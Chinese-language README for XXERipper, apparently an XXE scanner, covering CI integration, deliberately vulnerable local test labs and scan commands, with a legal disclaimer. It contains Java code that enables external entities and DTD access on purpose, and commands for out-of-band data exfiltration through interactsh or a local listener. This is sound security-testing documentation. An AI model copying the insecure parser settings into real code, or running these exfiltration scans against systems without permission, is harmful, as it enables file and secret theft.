| 重试与退避 | 瞬时故障(`ConnectError`、`RemoteProtocolError`、`ReadError`、`WriteError`、`TimeoutException`)重试三次,退避时间为 0.5 秒、0.75 秒、1.125 秒 |
| 遵守 Retry-After | 在 429 和 503 上遵守,上限为 10 秒 |
| OOB 发送的空响应保护 | 发送失败时跳过轮询等待,而不是使扫描停滞 |
| 磁盘指纹缓存 | `~/.cache/xxeripper/fingerprints.json`。对同一 URL 的重复扫描会跳过 9 次探测序列。删除该文件或传递 `--no-fingerprint-cache` 以使其失效 |
| 挂钟时间预算 | `--budget SECONDS` — 每个阶段在每次发送前检查 `ctx.expired()` 并干净地中止 |
| 协作式取消 | 调用 `ScanContext.cancel()` 会向每个阶段发出信号。Web 控制台通过 **Stop** 按钮暴露此功能 |
| TLS 开关 | 为渗透测试使用,验证默认关闭;`--verify-tls` 重新启用它 |
| CI 退出码 | 0 = 干净,1 = 配置错误,2 = 发现达到或超过 `--fail-on`,130 = Ctrl-C |
| 线程安全的发现 | `add_finding` 受锁保护,并就地合并重复 ID — 提升严重性、对 `confirmed` 进行 OR 运算、取 `max(confidence)`、合并原因和证据 — 而不是发出重复条目。每次合并和每个新发现都会发出事件,以便 Web 控制台实时更新 |
| 线程安全的 OOB 统计 | `OOBClient.stats()` 返回锁定快照,因此 CLI 摘要即使在运行阶段也能读取一致的视图 |
| 去重战利品 | `LootStore.add_file` 和 `LootStore.add_secret` 以内容的 SHA-256 为键。两个恢复同一文件的发现只产生一个战利品条目 |
| 覆盖范围报告 | 按目标的跳过列表,附带人类可读的原因;扫描结束时汇总有跳过的目标 |
| CI 中的指纹缓存 | 将 `HOME` 指向持久化缓存目录,以每次运行节省 9 个请求。缓存大小约为每个 URL 1 KB |
重试适配器故意不重试 HTTP 500 — 基于错误的 XXE 目标会故意返回 500,重试会掩盖信号。
---
## CI/CD 集成
### GitHub Actions```yaml
- name: XXE scan
run: xxeripper "$TARGET_URL" --oob-auto \
--full-file-scan -o results --format both \
--report-html results.html --fail-on high
- name: Upload SARIF
if: always()
uses: github/codeql-action/upload-sarif@v3
with: { sarif_file: results.sarif, category: xxeripper }
- name: Upload HTML report
if: always()
uses: actions/upload-artifact@v4
with: { name: xxe-report, path: results.html }
xxe-scan:
script:
- xxeripper "$TARGET_URL" --oob-auto --full-file-scan
-o report --format both --fail-on medium
- cp report.json gl-sast-report.json
artifacts:
reports: { sast: gl-sast-report.json }
paths: [ report.html ]
when: always
### 在 CI 中缓存指纹```yaml
- uses: actions/cache@v4
with:
path: ~/.cache/xxeripper
key: xxeripper-fingerprints-${{ github.ref }}
缓存大小约为每个 URL 1 KB,并且在多次运行之间保持稳定,除非目标的解析器发生变化。
CI 中的自动 OOB。 --oob-auto 要求 interactsh-client 位于 PATH 中。在 GitHub 托管的运行器上,请在 setup 步骤中安装它:```yaml
如果你的 CI 环境阻止对任意子域名的出站 DNS 查询,请使用手动模式,并搭配你的流水线可以访问的自托管 Interactsh 服务器。
**CI 中的盲外带。** 要让外带流水线生成战利品条目,CI runner 必须能从目标访问到。这通常意味着需要一个位于目标可访问网络中的自托管 runner,或者使用 `--oob-dtd-dir` 并结合一个目标可以获取的外部托管目录。仅靠 Interactsh 不行——它会记录回调,但不提供内容服务。
---
## 针对内置实验环境进行测试
XXERipper 附带两个本地测试实验环境,它们在与生产应用程序相同的配置上运行**真实的易受攻击解析器**。它们不是模拟——每个都暴露一种特定技术,以便你可以验证扫描器是否正确检测到它,并且每个都包含误报诱饵端点,以便你可以验证它*不会*过度报告。
两个实验环境都绑定到 `127.0.0.1`,并按设计在请求时读取本地文件。**切勿将它们暴露给你不拥有的网络。**
### 实验环境清单
| 实验环境 | 文件 | 技术栈 | 端口 | 证明内容 |
|---|---|---|---|---|
| Python | `xxe_lab.py` | Flask + lxml → libxml2,httpx(HTTP/1.1 或通过 ALPN 的 HTTP/2)用于所有出站实体获取 | `127.0.0.1:5000` | 涵盖十个技术家族的 54 个端点,外加每个范围内技术的安全对应端点,以及用于自动评分的判定 API。默认提供 HTTP;通过 `--https` / `--autocert` 启用 TLS |
| Java | `xxe_lab.java` | `com.sun.net.httpserver` + Xerces | `127.0.0.1:5001` | 基于错误的 XXE,现代 libxml2 在 C 层面阻止了这一点 |
### Python 实验环境 — `xxe_lab.py`
安装实验环境依赖(与扫描器自身的依赖隔离):```bash
# If you install by hand rather than `make lab`:
pip install 'flask>=3.0,<4.0' 'lxml>=5.0' 'httpx[http2]>=0.27,<0.29' 'PyYAML>=6.0'
该实验环境拉取 httpx[http2] 的原因与扫描器相同——当 OOB 收集器或元数据端点支持 HTTP/2 时,出站实体请求会通过 ALPN 协商使用 HTTP/2,否则会静默回退到 HTTP/1.1。而入站的 Flask 则始终使用 HTTP/1.1。```bash
make lab
python3 xxe_lab.py
该实验在三个判定类别中暴露了 **54 个端点**:36 个 `vuln`、17 个 `safe`、1 个 `fn` 诱饵。
### TLS
该实验默认使用 HTTP 通信。三个标志可启用 TLS:
| 标志 | 行为 |
|---|---|
| `--https` | 通过 TLS 提供服务。如果 `$TMPDIR/xxe-lab-certs/` 下存在缓存的的自签名证书,则复用该证书,否则使用 `openssl` 生成一个。跨重启复用缓存证书可保持任何扫描器端的 TLS 指纹稳定。 |
| `--autocert` | 通过 TLS 提供服务,使用**新生成的**自签名证书。始终运行 `openssl` 并覆盖缓存证书。隐含 `--https`。与 `--cert` / `--key` 互斥。 |
| `--cert PATH` / `--key PATH` | 通过 TLS 提供服务,使用提供的 PEM 密钥对。两者必须同时给出。 |
`--host` 和 `--port` 覆盖绑定地址(默认 `127.0.0.1:5000`);`FLASK_HOST` 和 `FLASK_PORT` 环境变量作为默认值被遵循。```bash
python3 xxe_lab.py --autocert --port 8443
# [*] XXE Test Lab v1 on https://127.0.0.1:8443
# [*] TLS cert: /tmp/xxe-lab-certs/cert.pem [generated (fresh)]
# [*] TLS key: /tmp/xxe-lab-certs/key.pem
# [*] Self-signed — scanners must skip cert verification.
生成的证书为 RSA-2048、365 天有效期,CN=127.0.0.1,subjectAltName=IP:127.0.0.1,DNS:localhost —— 无密码短语。需要 openssl 在 PATH 中(OpenSSL 1.1.1+ 以支持 -addext)。如果你需要不受这些约束的证书,请改用 --cert / --key。
该实验环境有两种响应模式,可按请求切换:
realistic(默认) —— 模拟真实应用。错误的 Content-Type 返回 415,错误的形状会落入解析器(软门控)或返回通用的 400(硬门控)。不泄露原因。扫描器必须仅凭响应形状来区分“目标拒绝了我的载荷”和“目标接受了但未解析”。
scoped —— 确定性的传统模式。每个超出范围的请求体都会返回稳定的 200 out of scope: <reason>,不解析任何内容。适用于需要跨技术误报否决必须精确的回归测试套件,可选择启用。
通过请求头或查询参数按请求覆盖:``` Header: X-Lab-Mode: scoped | X-Lab-Mode: realistic Query param: ?lab_mode=scoped | ?lab_mode=realistic
优先级为 header > query param > env default(`XXE_LAB_MODE`)。
### 端点分组
**未限定范围的易受攻击端点** — 接受任何 XML,始终使用易受攻击的解析器进行解析:
| 端点 | 测试内容 |
|---|---|
| `POST /xml/vulnerable` | 带内文件读取、content-type 矩阵、链完整性 |
| `POST /xml/blind` | 静默解析器 — 解析实体,从不回显(仅 OOB) |
| `POST /xml/error` | 错误通道 — 返回解析器回溯信息 |
| `POST /xml/reflect` | 回显原始请求体并进行解析 — 测试反射否决 |
| `POST /xml/timing` | 当载荷包含外部 SYSTEM 实体时休眠 — 基于时序的盲注 |
**带内与投递向量**、**信封**、**编码**、**包含**、**扩展获取器**、**文件格式**、**参数实体与元数据**以及**盲注 OOB** — 完整端点列表可在 <http://127.0.0.1:5000/api/endpoints> 或实验环境自带的 UI <http://127.0.0.1:5000/> 中查看。
### 安全对应端点
每个限定范围的易受攻击端点都有一个安全对应端点,它运行**相同的范围检查**,但解析时禁用实体并阻止网络访问。命名规则是机械式的:`/xml/safe-form` 对应 `/xml/form`,`/xml/safe-xslt` 对应 `/xml/xslt`,依此类推。
此设计的存在是为了让扫描器的跨技术误报否决能够被端到端测试。以表单编码阶段为例:扫描器会向其扫描的每个目标发送表单编码的 XML。针对 `/xml/form`,如果载荷被解析,则会产生一个发现。针对 `/xml/safe-form`,相同的载荷应不产生任何结果。在安全对应端点存在之前,像 `/xml/safe` 这样的目标根本没有表单字段范围检查,因此表单编码的载荷会被一个“安全”端点接受并解析——这是一个误报,既不是扫描器的过错,也无法与真正的误报区分开来。
安全对应端点填补了这个漏洞。共有 13 个:```
/xml/safe-form /xml/safe-query /xml/safe-svg
/xml/safe-saml /xml/safe-soap /xml/safe-multipart
/xml/safe-docx /xml/safe-xinclude /xml/safe-xinclude-xml
/xml/safe-xslt /xml/safe-xsd /xml/safe-xsd-import
/xml/safe-pi
再加上四个完全不进行作用域检查的基线诱饵:``` /xml/safe /xml/noise /xml/stripped /xml/safe-metadata
以及一个假阴性诱饵:```
/xml/silent
一个正确的扫描器会在全部十七个上报告 [OK]。对它们产生的任何发现都是扫描器缺陷,而非真实发现。
该实验环境暴露了 GET /api/verdicts,这是一个从 "<method> <path>" 映射到 "vuln"、"safe" 或 "fn" 之一的 JSON 映射:```json
{
"POST /xml/vulnerable": "vuln",
"POST /xml/safe": "safe",
"POST /xml/silent": "fn",
...
}
这是自动评分的钩子。测试框架可以按端点捕获扫描器的发现结果,与判定映射进行差异比对,并计算精确率和召回率,而无需解析 HTML 或读取端点元数据。
### Java 实验环境 — `xxe_lab.java````bash
java xxe_lab.java
# [*] Java XXE lab on http://127.0.0.1:5001
单端点:POST /xml/error。成功时返回 parsed ok,失败时返回 XML parse error: <message>——与一个记录 str(e) 的易受攻击的 Java 应用程序相匹配。
Java 实验环境对于基于错误的 XXE 阶段仍然是必需的。libxml2 2.13 及更高版本默认阻止外部 DTD 访问,因此 XXE-ERROR-BASED-MALFORMED 无法针对 Python 实验环境触发。Xerces 允许内部子集参数实体,并且完全不需要任何本地 DTD 即可触发该发现。该实验环境显式启用了必要的功能:```java
dbf.setFeature("http://xml.org/sax/features/external-general-entities", true);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", true);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", true);
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "all");
dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "all");
> **注意:** `ACCESS_EXTERNAL_DTD = ""`(空字符串)表示*全部拒绝*,而非全部允许。若要使用宽松的解析器,请使用 `"all"`。
### 本地 DTD 攻击 — 在目标上安装 DTD
`error_based_local_dtd` 的工作原理是劫持目标文件系统上已存在的 DTD。扫描器的 payload 列表引用了约 60 个常见路径,但如果文件系统上不存在其中任何一个路径,该技术就无法触发——在这种情况下,扫描器会正确地报告未发现漏洞。
在运行 Python 实验环境的同一主机上安装 DTD 软件包,以便该技术有可劫持的目标:```bash
# Fedora / RHEL / CentOS
sudo dnf install docbook-dtds xml-common w3c-dtd-xhtml
# Debian / Ubuntu
sudo apt install docbook-xml docbook-xsl xml-core w3c-dtd-xhtml
# Arch / Manjaro
sudo pacman -S docbook-xml docbook-xsl
Windows 默认自带 WMI DTD(C:\Windows\System32\wbem\xml\)和 Office DTD(C:\Program Files\Common Files\microsoft shared\OFFICE*\mso.dll)。
macOS 默认自带 /System/Library/DTDs/PropertyList.dtd 和 sdef.dtd。
关于 libxml2 2.13+ 的说明。 现代 libxml2 进一步收紧了规则:可被劫持的 DTD 必须按名称声明参数实体,在顶层引用它,并且不能链接到包含被禁止的嵌套 PE 的模块中。DocBook 的 docbookx.dtd 文件在现代 libxml2 上会失败,因为它们包含了 dbcentx.mod,其中含有被禁止的嵌套 PE。fonts.dtd 可以正常解析,但并未声明扫描器试图劫持的那些实体。
这就是为什么推荐使用 Java 实验环境来演示基于错误的 XXE。
以下每个示例都使用 http://127.0.0.1:5000。若要通过 TLS 对实验环境运行相同的扫描,请使用 --autocert 启动它(或使用 --https 复用缓存的证书),并将扫描器指向 https://127.0.0.1:5000。扫描器默认禁用 TLS 验证,因此无需在扫描器端添加任何标志——自签名证书即可正常工作,无需保留 --verify-tls 关闭状态。```bash
python3 xxe_lab.py --autocert &
xxeripper https://127.0.0.1:5000/xml/vulnerable --oob-auto --no-fingerprint-cache
**选项 A — 手动 OOB。** 两个终端:
**终端 A** — 启动 OOB 客户端并记下会话域名:```bash
interactsh-client -v
# [INF] c5f2a9b4e1d8a3f72c0b.oast.pro
终端 B — 运行实验环境和扫描:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable
--oob-domain c5f2a9b4e1d8a3f72c0b.oast.pro
--timing --unsafe --full-file-scan --no-fingerprint-cache
for p in safe safe-form safe-query safe-svg safe-saml safe-soap
safe-multipart safe-docx safe-xinclude safe-xinclude-xml
safe-xslt safe-xsd safe-xsd-import safe-pi
noise stripped safe-metadata; do
xxeripper "http://127.0.0.1:5000/xml/${p}" --no-fingerprint-cache
done
java xxe_lab.java xxeripper http://127.0.0.1:5001/xml/error --no-fingerprint-cache
**选项 B — 自动 OOB。** 一个终端:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/vulnerable \
--oob-auto --timing --unsafe --full-file-scan --no-fingerprint-cache
选项 C — 确定性回归。 在启动实验环境前设置 XXE_LAB_MODE=scoped。每个超出范围的请求都会返回相同的响应体,因此扫描器的无变化否决会确定性地触发,并且每个端点的结果在多次运行中可复现。设置 XXE_LAB_NOISE_SEED=1 可使 /xml/noise 也可复现。
选项 D — 数据外泄。 要端到端地测试盲外泄路径:```bash
python3 xxe_lab.py &
xxeripper http://127.0.0.1:5000/xml/oob-external-dtd
--oob-auto
--oob-listen 127.0.0.1:8888
--oob-public-url http://127.0.0.1:8888
--no-fingerprint-cache
在 WebUI 中:使用 `--serve --host 0.0.0.0` 启动控制台,在抽屉中勾选 **Serve DTDs from this WebUI**,提供 WebUI 的公共 URL,相同的 exfil 路径无需第二个进程即可工作。
### 解读覆盖缺口
扫描器的按目标跳过列表准确显示了哪些内容未被测试。传入指定的标志以启用被跳过的阶段:```
[!] 4 phase(s) skipped:
- multipart_docx, svg (no --svg and no upload-shaped URL)
- dos (no --unsafe)
- saml_presig (no SAML-shaped URL segment)
- waf_bypass (no --bypass-waf)
前置条件: Python 3.9+,用于 Python 打包的 build 和 hatchling;用于发行版软件包的 makepkg、dpkg-buildpackage/debhelper/dh-python、rpmbuild。
XXERipper 是自由软件,基于 GNU 通用公共许可证 v3 或更高版本授权。分发时不提供任何担保。详情请参见 https://www.gnu.org/licenses/。
版权所有 (C) 2026 Kamal Khalilov。
XXERipper 仅用于经授权的安全测试。请勿对您不拥有或未获得明确书面测试许可的系统使用。未经授权的扫描可能违反 CFAA(美国)、Computer Misuse Act(英国)、您所在司法管辖区的类似法律以及云服务提供商的服务条款。作者对滥用行为不承担责任,仅出于教育和合法安全测试目的提供此工具。
Web 控制台没有身份验证,不应暴露于不受信任的网络。请将其绑定到 127.0.0.1(默认值),或在其前面部署带身份验证的反向代理。
作者: Kamal Khalilov — @kamalx06 · [email protected]
致谢: ProjectDiscovery 的 Interactsh · PortSwigger Web Security Academy · HackTricks · mohemiv(基于错误的 XXE 研究)· ShadowProbe(基线化灵感)· MITRE 的 CWE · OASIS 的 SARIF · 开源安全社区。
构建所用技术: Python · httpx · Flask · Hatchling · Interactsh · SARIF
XXERipper
更智能地扫描。更准确地报告。保持合法。
interactsh-client--oob-autointeractsh-client--oob-listen)、由你自己的 Web 服务器提供的目录(--oob-dtd-dir),或 WebUI 自身的 Flask 路由(在抽屉中勾选 Serve DTDs from this WebUI)。jar://、data://、phar://、glob://、compress.zlib://。XXE-OFFICE-XSLT-{DOCX,XLSX})——Word 或 Excel 部件内的 xml-stylesheet PI 会导致服务器端文档处理器获取攻击者控制的 XSLT。jackson-dataformat-xml 的 Spring MVC,它会在任何 @RequestBody 端点上静默接受 application/xml。--bypass-waf)——通过三个族中的十五种编码器重新发送整个载荷目录。在核心阶段之后运行,因此直接命中可在约 20 个请求内被发现,而不是被埋在大约 1,500 个编码请求之后。--serve)——基于浏览器的工作台,具有实时事件流、命令面板、键盘驱动导航、按任务的 JSON / SARIF / HTML 下载,以及一个单独的 View HTML 按钮,可内联打开报告而非下载。零依赖前端:一个自包含的 HTML 文件,无 CDN。--pre-auth-request FILE 重放 Burp 格式的请求,并在扫描开始前合并其 Set-Cookie,因此多步认证流程无需 cookies 文件即可工作。| 按键 | 操作 |
|---|
j / k | 下一个 / 上一个目标 |
n / p | 下一个 / 上一个发现 |
/ | 聚焦过滤器 |
c | 打开新建扫描抽屉 |
r | 重新运行所选扫描 |
? | 快捷键对话框 |
Esc | 渐进式关闭(过滤器 → 发现 → 目标) |
| 判定 | 含义 |
|---|
[VULNERABLE] | 至少有一个严重性为 MEDIUM 或以上的发现 |
[MANUAL-OOB] | 无发现,但发送了 OOB 载荷(仅手动模式) |
[INFO-ONLY] | 无发现、无 OOB 载荷,但至少跳过一个阶段 |
[OK] | 无可报告内容,无跳过内容 |
| [1/3] [VULNERABLE] https://target.com/api/xml | |
| Parser: libxml2 | |
| [!] 3 phase(s) skipped: |
| 跳过的阶段 | 启用方式 |
|---|
multipart_docx、svg | --svg |
dos | --unsafe |
timing | --timing |
saml_presig | --saml |
waf_bypass | --bypass-waf |
| 任意 OOB 阶段 | --oob-domain 或 --oob-auto |
| 盲注数据外带 | --oob-auto 加上 --oob-listen / --oob-dtd-dir(或 WebUI 托管的服务器) |
fingerprint | (不要传入 --no-fingerprint) |
| —(文件列表变更) | --full-file-scan |
| 目标 | 命令 | 输出 |
|---|
| Python wheel 和 sdist | make build | dist/*.whl、dist/*.tar.gz |
| Debian | make deb | dist/xxeripper_*.deb |
| RPM | make rpm | dist/xxeripper-*.rpm |
| Arch | make arch | dist/xxeripper-*.pkg.tar.zst |
| 全部 | make all | 以上所有 |